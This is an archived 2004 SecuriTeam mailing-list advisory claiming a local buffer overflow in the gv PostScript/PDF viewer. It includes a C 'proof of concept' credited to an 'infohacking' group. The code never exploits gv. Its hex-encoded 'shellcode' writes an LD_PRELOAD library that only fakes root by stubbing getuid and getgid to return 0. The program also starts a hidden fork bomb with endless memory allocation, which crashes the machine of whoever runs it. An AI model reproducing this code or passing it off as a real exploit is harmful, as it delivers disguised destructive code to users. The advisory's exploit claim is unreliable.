

Securiteam: [EXPL] gv Local Buffer Overflow( Exploit Code Included )

# [EXPL] gv Local Buffer Overflow( Exploit Code Included )

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0019.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 08/04/04

To: list@securiteam.com

Date: 4 Aug 2004 23:33:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

gv Local Buffer Overflow( Exploit Code Included )

---

## SUMMARY

gv allows to view and navigate through PostScript and PDF documents on an X display by providing a user interface for the ghostscript interpreter.

gv contains a buffer overflow which can be exploited locally by an attacker.

## DETAILS

Vulnerable Systems:

\* gv 3.5.8 and prior

The gv program that is shipped on many Unix systems contains a buffer overflow which can be exploited by an attacker sending a malformed postscript or Adobe pdf file. The attacker would be able to cause arbitrary code to run with the privileges of the victim on his Linux computer.

In order to perform exploitation, an attacker would have to trick a user into viewing a malformed PDF or PostScript file from the command

[EXPL] gv Local Buffer Overflow( Exploit Code Included )

## Securiteam: [EXPL] gv Local Buffer Overflow( Exploit Code Included )

Proof Of Concept:

```
/* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
*
* INFOHACKING RESEARCH – L337 h4x0r t34M
*
* hugo <hugo@infohacking.com>
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
```

```
char hellc0de[] =
"\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"
"\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"
"\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"
"\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"
"\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
"\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";
```

```
int main()
{
    FILE *fp;
    char *offset;
    fp=fopen("/tmp/own.c","w");
    fprintf(fp,"%s",hellc0de);
    fclose(fp);

    system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c");
    if (fork() == 0) {
        sleep(10); while (1) { fork(); offset=malloc(512); }
        exit(0);
    }
    system("LD_PRELOAD=/tmp/own.so /bin/sh");
    return 0;
}
/* -EOF- */
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:infohacking@hush.com> Hugo Vazquez Carapez.

=====

Securiteam: [EXPL] gv Local Buffer Overflow( Exploit Code Included )

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.